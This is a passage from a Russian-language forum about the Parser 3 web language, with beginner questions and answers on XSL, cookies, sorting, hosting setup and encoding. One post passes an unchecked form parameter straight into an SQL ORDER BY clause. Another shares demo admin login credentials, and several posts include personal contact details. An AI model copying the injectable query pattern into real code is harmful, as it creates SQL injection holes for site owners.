курил доки - не вкурил."
"68505","А что именно надо получить на выходе, просто html?\
Тогда сомнительно использование такой шапки для xsl:\
[code]<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:xhtml=\"http://www.w3.org/1999/xhtml\" xmlns=\"http://www.w3.org/1999/xhtml\" version=\"1.0\">\
<xsl:output method=\"xml\" omit-xml-declaration=\"no\"/>[/code]\
\
Думаю, вполне достаточно будет:\
[code]<xsl:stylesheet version=\"1.0\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output omit-xml-declaration=\"yes\" />[/code]"
"68506","нужно получить xhtml, а если конкретнее нужно чтобы закрывались теги img к примеру, не всегда достаточно использовать вашу шапку, тем не менее - проблема с аттрибутом xmlns в корневом div остается и с вашей шапкой в том числе"
"68507","Могу и ошибаться, конечно... :-)\
\
Покажите исходный xml, xsl для него и кусок парсерного кода, где transform и string методы.\
\
И почему недостаточно использовать мою шапку?\
\
Закрытые теги получатся при использовании method=\"xml\"."
"68508","кусок xsl:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:xhtml=\"http://www.w3.org/1999/xhtml\" xmlns=\"http://www.w3.org/1999/xhtml\" version=\"1.0\">\
<xsl:output method=\"xml\" omit-xml-declaration=\"no\"/>\
	<xsl:variable name=\"counte\" select=\"count(/root/elem)\"/>\
	<xsl:variable name=\"col\" select=\"4\"/>\
	<xsl:template match=\"root\">\
		<xsl:element name=\"div\">\
			<xsl:attribute name=\"class\">mslist</xsl:attribute>\
						<h1>(<a href=\"/link/\">линк</a>)</h1>\
			<xsl:element name=\"table\">\
				<xsl:element name=\"tr\">\
					<xsl:apply-templates select=\"elem\">\
						<xsl:sort select=\"name\"/>\
					</xsl:apply-templates>\
				</xsl:element>\
			</xsl:element>\
		</xsl:element>\
	</xsl:template>\
[/code]\
\
xml:\
\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<root><elem id=\"0 \"><line>13</line><name>XXXX</name><city>2</city><linen>YYYY</linen><cityn>someCITY</cityn><msid>177</msid><char>А</char></elem></root>\
[/code]\
\
метод трансформер:\
[code]\
@ms_view[]\
$trans[^ms.transform[/${req.cityfp}/xsl/msview.xsl]]\
$result[^trans.string[$.method[html]]]\
[/code]"
"68509","Ну смотрите:\
\
если у нас указан дефолтный неймспейс xhtml, то на выходе у корневого тега (<html>) обязательно будет прописан аттрибут [code]xmlns=\"http://www.w3.org/1999/xhtml\"[/code]\
\
как я понял, вам необходимо получить не полный html, а лишь кусок (для аякса?).\
Тогда шапка должна быть минимальна\
[code]<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">[/code]\
\
а в методе string примерно такое:\
[code]$result[\
	^trans.string[\
		$.media-type[text/html]\
		$.indent[no]\
		$.method[xml]\
		$.omit-xml-declaration[yes]\
	]\
][/code]\
метод xml закроет все теги как в xhtml, omit-xml-declaration уберёт xml-заголовок.\
\
\
P.S. маленький совет: не пишите вот такой каши в xsl-файлах\
[code]<xsl:element name=\"div\">\
...\
<xsl:element name=\"table\">\
[/code]\
гораздо проще и читабельшее:\
[code]<div>\
...\
<table>[/code]\
\
это всё имхо:-)"
"68510","Спасибо - заработало!"
"68511","http://www.parser.ru/docs/lang/?xdocoptions.htm"
"68512","с описанием нескольких простых шагов, с помощью которых люди смогут убедиться в работоспособности nconvert.\
\
или, что ещё лучше, сделать тест (например один sh файл + 1 изобращение), при запуске которого будут выполнены несколько преобразований изображения и пользователю будет написано, что должно было получиться на результирующем изображении/ях"
"68514","Обратил внимание, что у меня в шаблонах не везде правильно прописан xmlns.\
\
Спасибо, что напомнил."
"68515","есть таблица price.cfg в ней — товары с ценами.\
\
когда в самой таблице price.cfg я пишу html-код, то он преобразуется в обычные символы. Как сделать так, чтобы parser, загружая таблицу, не переводил html-код в символы, а переносил его, как код?\
\
Заранее благодарен за ответ!!"
"68517","[code]$sortkey[^if(def $form:sort_by){$form:sort_by}{id}]\
^connect[$connect_string]{$table[^table::sql{SELECT * FROM table ORDER BY $sortkey DESC}]}[/code]\
\
Если я правильно понял из уроков, то строка формата ?sort_by=поле должна выполнить сортировку этой таблицы, но почему-то этого не происходит."
"68519","имя столбца, по которому выполняется сортировка..."
"68520","Попробуйте упростить код, написать сразу\
\
[code]ORDER BY [i]ИМЯ_СТОЛБЦА[/i]\
[/code]\
\
или отсортируйте по ID.\
и вобще, что именно получилось в результирующей таблице?"
"68521","спасибо, разобрался. сам себя запутал с направлением сортировки. все правильно работало)"
"68522","На некоторой странице для генерации отчётов таблице report (уже созданной в @auto корневой страницы) присваивается результат запроса к бд. Непосредственно после этого я конечно могу пользоваться этим результатом обращаясь к report, но когда я перехожу на другую страницу, я так понимаю, все переменные получают значения заново. \
Как возможно пользоваться результатом запроса некоторое время, не будучи вынужденым лезть каждый раз в базу?\
\
P.S. Я вчера писал насчёт регистрации. Из дома получилось зарегистрироваться, но почему-то по кнопке сохранить редиректнуло на анхендлд эксепшн. А зашёл в форум - уже зарегистрирован."
"68523","... либо просто сохранив результат запроса на диск (для таблиц), либо использовать Hashfile - http://www.parser.ru/docs/lang/?hashfileclass.htm\
\
В примерах есть вариант реализации серверного стораджа - http://www.parser.ru/examples/storage/"
"68524","cпасибо, разобрался!"
"68525","В версии 14.20.1.1001\
\
файл подсетки синтаксиса называется wordfile.uew содержимое тоже, что и у wordfile.txt в 12 версии (только языков теперь 13). Добавляю туда текст с сайта egoroff.spb.ru, заменяя L10 на L14, а parser не подсвечивается и в списке подсветок не появляется. Может кто сталкивался?"
"68527","После того, как сделали согласно http://www.egoroff.spb.ru/opinions/9.html \
Заходим Advanced/Configuration/Editor Display/Syntax Highlighting и меняем Full path name for wordlist на C:\\Program Files\\IDM Computer Solutions\\UltraEdit\\wordfile.uew"
"68529","Пытаюсь подключить SPAW\
для подключения в документации написано что нужно в хтмл прописать \
<?php\
include(\"../spaw.inc.php\");\
$spaw1 = new SpawEditor(\"spaw1\");\
?>\
\
и в самой форме \
  <?php\
  $spaw1->show();\
  ?>\
\
подскажите пожалуйста как вставить эти куски кода в код парера?\
пробовал напистаь через ^untaint{} но все равно ничего не получилось..."
"68530","... так же как и php Парсерный."
"68531","тоесть возможно подключить этот редактор или нет?"
"68533","подскажите пожалуйста хотябы в каком направлении двигаться чтобы заставить этот редактор заработать..."
"68536","Изучил всё, что мог найти, во многом разобрался, но один вопрос так и остался недопонятым и смущает меня.\
\
Допустим есть форум и пользователи. Есть группы пользователей, которые владеют некоторыми правами на взаимодействие с записями (например, админы - удаление сообщений). А есть владельцы сообщений (авторы) и нужно им сделать возможность что-то делать с сообщением.\
\
У меня как-то выходит, что для каждого вновь созданного сообщения придётся в табличку (objects, насколько я понял) прав заносить и права для owner и права для групп. Или на самом деле в табличке objects object_id означает не фактически id, а его тип. Т.е. запись для овнера (или группы) будет всего одна - описывающая его взаимодействие с обычной записью на форуме.\
\
Разъясните пожалуйста, если не сложно"
"68537","это очень, очень, ОЧЕНЬ плохая идея раздавать права на каждое сообщение форума.\
\
кроме того, форум -- несколько специфичная штука, поэтому приделывать к нему \"универсальные\" механизмы не стоит.\
\
\
но даже если решиться реализовывать этот бред и поместить форумы, их разделы и сообщения (?!) в одно \"дерево\", то очевидно, что при нормальной организации раздавать права на каждое сообщение не придётся, т.к. подразумевается, что при нормальной организации раздачи прав, они (права) выдаются на раздел/подраздел, а не на каждое сообщение (или вы у себя в win шарите не папки, а файлы поотдельности?). \
\
в результате будет задано одно право (одна запись в acl) на раздел форума всем овнерам и N прав (N записей в acl) на раздел форума всем группам.\
\
если вдруг, по какой-то причине (например сообщение помещено в разделе, где овнерам/модераторам выдано право редактирования [своего] сообщения, но анминистратор хочет запретить делать этодля данного конкретного сообщения), потребуется выдава права на конкретное сообщение, его можно будет выдать (надо не забыть сделать интерфейс для этого), однако это будет очень редкое исключение, а не правило.\
\
P.S. ещё раз: текущая реализация этого класса мне сейчас категорически не нравится (против идеи ничего против не имею), и это является причиной, почему я обычно не отвечаю на вопросы по данному классу."
"68538","Допустим есть система администрирования с какими-то объектами (например, страницы), которых много - сотни, тысячи и больше, и у которых нет иерархической структуры (чтобы права стекали вниз).\
\
Как дать какой-то группе права на просмотр - понятно.\
А вот как дать владельцу какие-то другие права, не прописывая каждый раз их для каждого объекта?"
"68539","в своей практике я ни разу не сталкивался с \"тысячами и больше\" объектов, не имеющими иерархической структуры, и которые нуждаются в системе управления правами (если речь про новости -- то они тоже иерархические, т.к. есть подраздел новостей на который и можно выдать права).\
\
ещё раз: права всем (разным) владельцам -- это одна запись (одно право -- один бит в маске. несколько прав -- несколько бит, но запись одна). и они (права) сработают в зависимости от того, кто пришел. т.е. даны \"права овнеру делать что-то с объектом или потомками объекта\". у записи есть ссылка на владельца (кто-то ведь объект создал?). придёт этот пользователь -- сработает право владельца (а ведь бывают случаи, когда владельцам ничего дополнительного давать не нужно).\
\
очевидно, что для вашей конкретной задачи, в свойм механизме авторизации вы можете безусловно давать владельцам делать что-либо, не требуя наличия отдельной записи с указанием этих прав."
"68541","Доброго времени суток.\
Искал в форуме, может быть плохо искал. Не нашел, help me.\
С уважение Дмитрий"
"68543","Простите, что задавал довольно глупые вопросы.\
Иногда требуется услышать одно и то же разными словами, чтобы понять.\
\
Спасибо"
"68546","сделал, все работает, но ... кодировку приходится менять в браузере. Как от этого избавиться?"
"68548","Не могу понять, почему для текущей недели (сегодня) понедельник — 15-е декабря — считается 50-й неделей, хотя календарь показывает, что на самом деле неделя 51-я. И бумажные каледнари тоже говорят, что 51-я.\
\
Этот код —[code]$now[^date::now[]]\
$calendar_month[^date:calendar[rus](2008;12)]\
\
^calendar_month.menu{...}\
Сегодня — $now.day — $dayname ${now.week}-й недели\
[/code]\
\
Выдает это: [url=\"http://www.m4rr.ru/zalivka/files/parser-date-now-calendar.png\"]скриншот[/url].\
\
Это, вроде, неправильно. Почему так?\
\
З.Ы. Это скрипт поливки фиалок 1—2 раза в неделю :-), поэтому правильная неделя им жизненно необходима."
"68549","http://en.wikipedia.org/wiki/ISO_8601 -- живой пример вашего случая есть. подробности в спецификации."
"68550","Ну, там тоже говорится, что сейчас 51-я неделя. И week-numbering year начинается с понедельника.\
Разве нет?"
"68551","у прямо сейчас меня код:\
[code]\
$now[^date::now[]]\
\
now — $now.day — $dayname ${now.week}\
[/code]\
\
выдаёт:\
now — 15 — 51\
\
P.S. parser 3.3.0\
P.P.S. похоже, что у вас 3.2.1. прочитайте новости про версию 3.2.2. уже почти год прошел, пора :)"
"68552","Видимо, да, Parser 3.2.1sp2. Понятно, обновлюсь :-)."
"68553","спасибо, разобрался, хотя не понимаю почему так выходило. По умолчанию используется кодировка UTF-8, но пока я ее не указал была бурда."
"68554","не хочу конечно заниматься флудом на этом форуме, но все таки... подскажите пожалуйста что делать в этом случае..."
"68556","[code]\
$ourweeks[^date:calendar[rus](2008;12)]\
^ourweeks.menu{\
	^for[i](0;6){\
		^if(^ourweeks.$i.int(0)){\
			^ourweeks.$i.int(0)	$i	$thmonths.m	$ourweeks.year\
		}\
	}[<br/>]\
}[<br/>]\
[/code]\
\
Тоже дело в версии? До 3.3.0 обновиться без нормального драйвера к Pgsql не представляется возможным :("
"68557","P.S. дни посчитаны правильно, только вот год начиная с понедельника стал 2009."
"68559","[code]\
@main[]\
$s[О сколько нам открытий чудных,]\
^reverse[$s]\
\
^rem{--> ,хындуч йитыркто ман окьлокс О}\
\
\
\
\
@reverse[s][iLen;i]\
^if(def $s && $s is string){\
	$iLen(^s.length[])\
	^for[i](0;$iLen){\
		$result[${result}^s.mid($iLen-$i;1)]\
	}\
}\
[/code]"
"68560","[code]\
$s[строка]\
\
$iLen(^s.length[])\
^for[i](0;$iLen){^s.mid($iLen-$i;1)}[/code]"
"68561","Ни как не получается установить парсер на хостинге агавы. Читал этот форум, делал как там говорится, ни каких результатов.\
Вот что понаделал:\
\
parser.cgi лежит в корневой папке в /cgi-bin\
.htaccsess лежит просто в корне\
В нем прописано:\
	# Подключение Parser-а для всех .html-страниц \
	AddHandler parsed-html html \
	Action parsed-html /public_html\
\
	# Запрет на доступ к .p-файлам. Основной: auto.p \
	<Files ~ \"\\.p$\"> \
	  Order allow,deny \
	  Deny from all \
	</Files> \
\
все страницы сайта в /public_html\
Но ничего не работает, выдает ошибку: \
	The requested URL /public_html/index.html was not found on this server.\
	Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
\
Права на 755 прописал. Что я делаю не так? помогите плиз!"
"68562","[quote].htaccsess лежит просто в корне[/quote] и [quote]все страницы сайта в /public_html[/quote] это одна директория?\
А что в index.html?\
Что показывает ваш_имя.домен/cgi-bin/parser3.cgi ?"
"68563","если у меня в парсеровском auto.p прописано\
[code]$MAIL[\
$.SMTP[mail.infobox.ru]\
][/code]\
,то как письмо дойдёт до этого сервера, если для него нужна аутентификация?\
может есть ещё какие-то параметры у $MAIL, чтобы можно было пароль указать?\
\
сейчас если попытаться восстановить пароль (пользуясь классом авторизации), то будет такая строчка:\
[code]При активации нового пароля возникли следующие проблемы: .[/code]\
...даже не показывает в чём именно проблема. :("
"68567","Наверняка это уже обсуждалось но я не нашёл ничего.\
При отладке бы пригодился. Как без него обходитесь?"
"68571","Проверил как ты сказал...:\
Есть корневой каталог \"/\"\
В этом каталоге лежит .htaccsess, /cgi-bin и /public_html\
Когда в браузере ввожу http://www.polosvet.ru/cgi-bin/parser3.cgi\
выводит :\
        Not Found\
The requested URL /cgi-bin/parser3.cgi was not found on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
\
Когда ввожу просто http://www.polosvet.ru то:\
\
Not Found\
The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
\
В этом сообщении очень наводит на мысль этоот кусок пути:  in/[b]parser3.cgi[/b]/in   \
\
\
в index.html у меня \
\
^header[]\
^index_html[]\
^end[]\
\
В auto.p все остальное.\
\
Мне кажется что тут что то не то с путями....И еще вот что мне ответили саппорт агавы:\
\
Здравствуйте!\
\
На тестовом аккаунте была произведена установка данного обработчика. \
Был установлен parser3 для FreeBSD 6.x. \
После чего на cgi скрипт были установлены права 755, и в файле .htaccess были добавлены строки: \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
После выполнения данных операций, обработчик функционирует.\
\
Вот так вот=("
"68573","Не выполняется с параметром \"-transparent\". Без него - всё нормально.\
\
Всем спасибо."
"68574","по крайней мере собранное на win32 работает (мои тесты проходит).\
\
P.S. собранный драйвер можно взять тут: http://www.parser.ru/download/beta/"
"68577","[quote]\
Есть корневой каталог \"/\"\
В этом каталоге лежит .htaccsess, /cgi-bin и /public_html\
[/quote]\
\
public_html -- ваш document root. при обращении к http://ваш сайт/ обращение происходит к файлу /public_html/index.html, ведь так?\
\
от этого и пляшите: .htaccess помещайте именно в этот каталог.\
\
также разберитесь с вашим cgi-bin (каталог в общем случае != префиксу в URL, прочитайте документацию по веб серверу, раз уж вы взялись за это).\
\
[quote]\
Когда в браузере ввожу http://www.polosvet.ru/cgi-bin/parser3.cgi\
выводит :\
Not Found\
The requested URL /cgi-bin/parser3.cgi was not found on this server.\
[/quote]\
\
неправда ваша. лично я вижу:\
Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)\
\
т.е.: не прочитали FAQ и не знаете как вообще проверять работоспособность устанавливаемого вами парсера."
"68578","[quote]…под Windows и UNIX (под UNIX [3.1.2]) адрес SMTP-сервера\
$MAIL[\
   $.SMTP[mail.office.design.ru]\
][/quote]\
и больше ничего.\
почему же нет аутентификации? наподобие:\
[code]$MAIL[\
   $.SMTP[mail.office.design.ru]\
[b]   $.LOGIN[admin]\
   $.PASS[blablabla][/b]\
}[/code]"
"68579","^rem{}, находясь в мощном цикле, плохо влияет на производительность (5..10% времени отъест запросто)."
"68582","за такое длительное время никто не придумал выхода в данной ситуации?"
"68584","Создал таблицу и добавил в нее содержание:\
$mainTree[^table::create{id	parent	sorting	name	type}]\
\
^tree.menu{ ^mainTree.append{$tree.tree_id	$tree.parent_id	^tree.tree_sort.int[]	$tree.title	module} }\
^pages.menu{ ^mainTree.append{$pages.id	$pages.parent	^pages.pages_sort.int[]	$pages.m_name	page} }\
\
потом пробую отсортировать\
^mainTree.sort{$mainTree.sorting}[asc]\
\
но в итоге сортируеться, но при значениях 1 5 5 10 20 50 и т.д. получаеться порядок такой: 1 10 20 5 5 50\
\
в чем может быть проблема?"
"68585","Вы получили сортировку по строке, а хотите по числу\
В документации всё описано"
"68586","Понял\
невнимательность)"
"68587","тривиальный код:\
[code]\
$cookie:post[$.value[1] $.expires(1/1440)]\
^if(def $cookie:post){$post(0)}{$post(1)}\
^if(!$post){Хорошо}{Плохо}\
[/code]\
\
Так вот, FF - хорошо, ie - плохо - всегда. что это? ну очевидно что ие не кукает - а почему? Мож кто знает?"
"68589","приведёный вами код вообще не зависит, и в принципе не может зависеть от браузера.\
\
только что записанная парсером кука при её чтении в рамках данной сессии читается не из кук, пришедших от браузера, а из пула кук, которые будут отправленны браузеру при выдаче результата.\
\
вы можете попробовать выполнить этот код в браузере с отключенными куками или вообще без браузера (запустить из коммандной строки): результат всегда будет 'Хорошо'."
"68590","Можете попробовать сами следующий код:\
факты такие, в ие7 и хроме не работает, по крайней мере у меня, работает в ff3\
\
\
[code]\
#index.html\
@main[]\
^form[]\
\
@form[]\
^if(def $cookie:post){$post(0)}{$post(1) $cookie:post[$.value[1] $.expires(1/1440)]}\
^if(!$post){Хорошо}{Плохо}\
<form method=\"post\" action=\"index.html\"/>[/code]\
\
и да, исходя из выше вами изложенного, надеюсь под сессией не имеется ввиду открытие и закрытие браузера"
"68591","приведённый сейчас код, и приведённый вами ранее код прииципиально отличаются. я делал своё заявление относительно приводимого вами ранее кода, а не любого кода по работе с куками или любого вашего кода, который вы приведёте в дальнейшем.\
\
касательно вашего повторного кода: расскажите (очень подробно), как вы проверяли, что по вашему мнению должно было происходить и что происходило на самом деле (результат вашего кода зависит от того, как проверять, а предугадать ваши действия я не берусь).\
\
P.S. даже предполагая, что моё мнение справедливо, я всё равно предварительно проверил приведённый вами в первом сообщении код.\
P.P.S. под сессией я не имел в виду \"работу браузера до закрытия\", а cgi сессию."
"68592","благодарю за хлопоты, сусанинского метода изложения кода постараемся избегать. \
\
Вообщем вопрос остается открытым."
"68594","Не собрал ли кто-нибудь?\
Нужно для тестов..."
"68595","[quote]\
касательно вашего повторного кода: расскажите (очень подробно), как вы проверяли, что по вашему мнению должно было происходить и что происходило на самом деле (результат вашего кода зависит от того, как проверять, а предугадать ваши действия я не берусь).[/quote]\
\
Проверка выглядела следующим образом для всех трех браузеров:\
1. Переход на урл: domain.ru/index.html\
2. Рефреш (ctrl +F5) в течение первых 10 секунд и через минуту\
\
index.html - содержит приведенный во второй раз код-напомню:\
[code]#index.html\
@main[]\
^form[]\
\
@form[]\
^if(def $cookie:post){$post(0)}{$post(1) $cookie:post[$.value[1] $.expires(1/1440)]}\
^if(!$post){Хорошо}{Плохо}\
<form method=\"post\" action=\"index.html\"/>[/code]\
\
\
Результаты [b]правильные или ожидаемые[/b]:\
ff3:\
1. Плохо (только сформировали куку)\
2. Хорошо (кука есть), рефреш хорошо, через минуту плохо (экспайред)\
\
[b]unexpected или неправильные:[/b]\
ие7, хром\
1.Плохо\
2. Плохо (кука почему то не создана - проверялось) и т.д.\
\
Собственно вот."
"68596","у вас точно в IE7 не отключен приём кук?"
"68598","IE6 - не работает. во всех случаях, т.е. браузерах куки разрешены\
\
Rex Swain's http viewer:\
IE 7\
[code]\
HTTP/1.1?200?OK(CR)(LF)\
Date:?Mon,?22?Dec?2008?14:29:36?GMT(CR)(LF)\
Server:?Apache/2.0.61?(Unix)?mod_ssl/2.0.61?OpenSSL/0.9.8g?mod_dp20/0.99.2?mod_python/3.3.1?Python/2.5.1?mod_ruby/1.2.6?Ruby/1.8.6(2007-09-24)(CR)(LF)\
set-cookie:?post=1;?expires=Mon,?22?Dec?2008?14:30:36?GMT;?path=/(CR)(LF)\
content-length:?47(CR)(LF)\
Connection:?close(CR)(LF)\
Content-Type:?text/html;?charset=WINDOWS-1251(CR)(LF)\
(CR)(LF)\
[/code]\
\
Chrome\
[code]\
HTTP/1.1?200?OK(CR)(LF)\
Date:?Mon,?22?Dec?2008?14:25:59?GMT(CR)(LF)\
Server:?Apache/2.0.61?(Unix)?mod_ssl/2.0.61?OpenSSL/0.9.8g?mod_dp20/0.99.2?mod_python/3.3.1?Python/2.5.1?mod_ruby/1.2.6?Ruby/1.8.6(2007-09-24)(CR)(LF)\
set-cookie:?post=1;?expires=Mon,?22?Dec?2008?14:26:59?GMT;?path=/(CR)(LF)\
content-length:?47(CR)(LF)\
Connection:?close(CR)(LF)\
Content-Type:?text/html;?charset=WINDOWS-1251(CR)(LF)\
(CR)(LF)\
\
[/code]\
\
FF3\
[code]\
HTTP/1.1?301?Moved?Permanently(CR)(LF)\
Date:?Mon,?22?Dec?2008?14:28:25?GMT(CR)(LF)\
Server:?Apache/2.0.61?(Unix)?mod_ssl/2.0.61?OpenSSL/0.9.8g?mod_dp20/0.99.2?mod_python/3.3.1?Python/2.5.1?mod_ruby/1.2.6?Ruby/1.8.6(2007-09-24)(CR)(LF)\
Location:?http://domen.ru/test/(CR)(LF)\
Connection:?close(CR)(LF)\
Content-Type:?text/html;?charset=iso-8859-1(CR)(LF)\
(CR)(LF)\
\
[b]Location2[/b]\
HTTP/1.1·200·OK(CR)(LF)\
Date:·Mon,·22·Dec·2008·14:43:39·GMT(CR)(LF)\
Server:·Apache/2.0.61·(Unix)·mod_ssl/2.0.61·OpenSSL/0.9.8g·mod_dp20/0.99.2·mod_python/3.3.1·Python/2.5.1·mod_ruby/1.2.6·Ruby/1.8.6(2007-09-24)(CR)(LF)\
set-cookie:·post=1;·expires=Mon,·22·Dec·2008·14:44:39·GMT;·path=/(CR)(LF)\
content-length:·47(CR)(LF)\
Connection:·close(CR)(LF)\
Content-Type:·text/html;·charset=WINDOWS-1251(CR)(LF)\
(CR)(LF)\
\
[/code]\
\
Пока анализирую - может кто нибудь заметит принциПЫальную разницу, которая приводит к тому что имеем разный результат"
"68599","Возникла проблема с обращением к выбранному элементу в <select>. Собственно, код:\
\
^connect[$connect_string]{ \
	$inLabels[^table::sql{select LabelName from labels}]}\
<form method=\"post\">\
<p><table>\
<tr>\
<td>Label</td><td width=25></td>\
<td>\
<select name=\"Labels\">\
  ^inLabels.menu{\
  <option value=\"$inLabels.LabelName\">$inLabels.LabelName}\
</select></td>\
</tr>\
</table>\
<input type=\"submit\" value=\"Add\" name=\"AddLbl\">\
<input type=\"reset\" value=\"Cancel\">\
\
Суть состоит в том, чтобы после нажатия кнопки выбранный элемент списка можно было послать в БД. Как это можно сделать ?"
"68601","Читать доки по PARSER(hint - $form:your_form_name), думать, пробовать и еще думать, головой.\
Так же - читать доки по БД и не дергать выборки из БД по строке."
"68604","Нужен программист знающий парсер, аякс ,для написания CMS\
\
484313256"
"68605","Пождите ещё несколько дней. Я выложу исходники удобной цмски.\
\
demo:\
[url=\"http://www.katechetyka-demo.domanski.pro/_admin\"]www.katechetyka-demo.domanski.pro/_admin[/url]\
user: admin, p: btd123\
\
другие сайты на этой цмске:\
[url=\"http://yakaband.pl\"]yakaband.pl[/url]\
[url=\"http://www.domanski.pro\"]www.domanski.pro[/url]\
[url=\"http://architekton.klockowski.pl\"]architekton.klockowski.pl[/url]"
"68606","[code]\
$bbURL[^tAlbumsComments.comment.match[[b]REGEXP[/b]][g]{<a href=\"http://$match.1\" target=\"_blank\">$match.1</a>}]\
$bbURL2[^bbURL.match[[b]REGEXP[/b]][g]{<a href=\"$match.1\" target=\"_blank\">$match.1</a>}]\
$bbURL2[/code]\
уже запутался сто раз, какой нужно писать regexp, чтобы соответствовало замене?"
"68607","Действие под FreeBSD6\
В корне проекта сделал chown root:wheel -R\
При обращении к проекту выдаётся всем известное сообщение\
Диагноз?"
"68608","Странный ход.\
\
Парсер надо привязать к пользователю/группе, от которых запускаются cgi-процессы. Смотреть в конфиге Апача, если он в качестве веб-сервера."
"68610","> Странный ход\
Так я же тот ещё специалист. Просто копирование давало сейф мод, вот и сделали так. Но не помогло-с"
"68612","в странице использую JavaScript так:\
@main[]\
... дальше обычныя страница без парсера...\
\
в корне лежит файл .htaccess\
\
через него прикручен парсер:\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
\
Скрипт не работает. Отключаю парсер (удаляю запись в htaccess) скрипт начинает работать."
"68613","Точки с запятой, некоторые скобки и т. п. экранированы?"
"68614","Какой уууужас(((("
"68617","какие символы требуют экранирования, и каков механизм. суть проблемы понял, раньше не сталкивался."
"68618","http://www.parser.ru/docs/lang/?stringlit.htm"
"68620","Разноязычие продумал дважды. Сайт админки пользуется отдельном классом для локализации. \
\
Мне просто надо сделать порядок и доки исходников чтоб они были понимательные для всех."
"68621","и мне если можно дистрибутив системы podand1@gmail.com\
Спасибо"
"68622","Запускаю _test.html (он в UTF-8) и получаю:\
\
[code]validation of UTF-8 string failed while pcre_exec (-10).\
\
[b]/www/name/www/htdocs/[/b]\
\
/www/name/www/htdocs/test/_test.html(848[/code]\
\
А если _test.html не в UTF-8 то:\
\
[code]change_case_UTF8 error: end pointers do not match\
\
[b]upper[/b]\
\
/www/name/www/htdocs/test/_test.html(136)\
[/code]\
\
Очень давно ничем таким не занимался и растерян. Подскажите, в чём может быть проблема?"
"68623","Было такое когда перевел все в UTF-8. Проблема заключалась в том, что в match передавался текст в другой кодировке из внешнего файла (win1251).\
\
Кстати на РБК у меня был 1 сайт - все работало."
"68626","М-да. Что-то там есть, какая-то хитрость. Sanja v.2 писал про неё, но я не могу найти ): Ладно, сейчас буду ещё пробовать, с новыми силами (:"
"68627","Положил его в /cgi-bin/ и всё заработало. А до этого использовал SetEnv и путь."
"68628","index.html\
-----------------------\
@greeting[]\
Добро пожаловать!\
^header[]\
^navigation[]\
^footer[]\
--------------------\
не работает, выдает ошибку: Unhandled Exception\
\
Если оставить так:\
^header[]\
^navigation[]\
^footer[]\
\
а определение переменной перенести в auto.p - всё работает.\
\
я что-то не не понимаю?"
"68630","Метод @main[] определяю в auto.p, потом вызываю его в index.html\
-------------------\
^main[]\
\
@greeting[]\
Добро пожаловать!\
\
@body_additional[]\
Главная страница сайта\
\
@body_main[]\
Основное содержание\
------------------------\
та-же ошибка получается, \
ради эксперимента перенёс определение переменных в auto.p, всё= та-же ошибка."
"68631","Жуткие тормоза и выход за отпущенные хостером пределы. Парсер и драйвер для FreeBSD 4.x.\
\
Система - FreeBSD bix.hc.ru 5.4-RELEASE-p13 FreeBSD 5.4-RELEASE-p13\
\
Тестовый файл, в том месте, где происходит обращение к БД даже немного отрабатывает, но потом исполнение прерывается. В логах:\
\
[code]/usr/libexec/ld-elf.so.1: /www/name/etc/lib/libparser3mysql.so: Undefined symbol \"__cxa_atexit\"\
[Sun Dec 28 18:02:26 2008] [error] [client 89.222.174.133] Premature end of script headers: /www/name/www/cgi-bin/parser3.cgi[/code]"
"68632","... в момент выполнения _test.html, а выполняется он нехило так, так вот top показывает 30-50% загрузки выделенного процессорного времени парсером."
"68633","Метод «@main[]» вызывать не нужно, он вызовется сам.\
\
Приведите полное сообщение об ошибке со своим пояснением как вы его прочитали и как поняли."
"68634","Покажите."
"68637","... если не поможет, то стоит поговорить с хостером о переносе вашего сайта на сервер с более новой версией FreeBSD (пятая ветка была не самой удачной, мягко говоря)."
"68638","Собрать не могу (вроде как), поскольку для этого нужно сначала собрать parser, да? Ну там build-all-with-xml, а на wget прав нету ): Подозреваю, что можно это как-то более сложным способом сделать, но пока боюсь пробовать."
"68640","А я то думал от куда там рекурсия появляется))"
"68641","Помогите начинающему.\
\
У меня стоит и работает Денвер. Для него установил пакет расширения Parser 3: http://www.denwer.ru/packages/parser3.html\
Тестовая страница http://localhost/Tests/parser3/index.html -- работает.\
\
Создаю свой виртуальный хост со следующими файлами:\
\
[code]test2.ru/www/cgi-bin/parser3.cgi\
test2.ru/www/.htaccess\
test2.ru/www/sections.cfg\
test2.ru/www/index.html\
test2.ru/www/auto.p[/code]\
\
Файл .htaccess содержит:\
[code]AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>[/code]\
\
Файл sections.cfg содержит:\
[code]section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/[/code]\
\
Файл index.html содержит:\
[code]<html>\
<head>\
<title>Test</title>\
</head>\
<body>\
$now[^date::now[]] \
</body>\
</html>[/code]\
\
Файл auto.p содержит:\
[code]@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"center\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table> [/code]\
\
В итоге, когда в браузере набираю http://test2.ru/, то на странице выводится следующее:\
\
[quote][b]Not Found[/b]\
The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.\
\
[b]Подсказка Денвера[/b]\
\
Вы ошиблись при наборе URL в браузере. Вероятнее всего, сервер пытается найти файл W:/home/test2.ru/www/cgi-bin/parser3.cgi/index.html, которого не существует.\
\
